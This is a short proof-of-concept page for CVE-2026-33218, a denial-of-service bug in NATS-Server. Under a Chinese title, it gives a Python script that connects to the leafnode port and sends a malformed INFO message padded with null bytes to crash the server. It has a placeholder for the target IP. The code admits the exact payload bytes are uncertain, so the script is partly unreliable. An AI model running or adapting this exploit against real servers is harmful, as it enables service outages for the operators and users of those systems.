CVE-2026-33218 NATS-Server 拒绝服务漏洞

import socket # CVE-2026-33218 PoC Concept for NATS-Server # Target: NATS-Server < 2.11.15, < 2.12.6 # Description: Connect to leafnode port and send malformed message to trigger crash. def send_exploit(target_host, target_port): try: # Establish TCP connection to the leafnode port print(f"[*] Connecting to {target_host}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) print("[+] Connection established.") # Construct a malformed message that violates the NATS protocol # This payload simulates an invalid INFO or CONNECT protocol handshake # which triggers the parsing vulnerability in the leafnode handler. # Note: The exact bytes may vary based on specific protocol parsing logic. malformed_payload = b"INFO \"malformed_json_structure\"\r\n" + b"\x00" * 1000 + b"\r\n" print("[*] Sending malformed payload...") s.send(malformed_payload) # Attempt to receive response (Server might crash before responding) response = s.recv(1024) print(f"[+] Received response: {response}") except ConnectionResetError: print("[!] Connection reset by peer - possible crash detected.") except socket.timeout: print("[!] Connection timed out - possible hang detected.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": TARGET_IP = "127.0.0.1" # Replace with target IP LEAFNODE_PORT = 7422 # Default leafnode port send_exploit(TARGET_IP, LEAFNODE_PORT)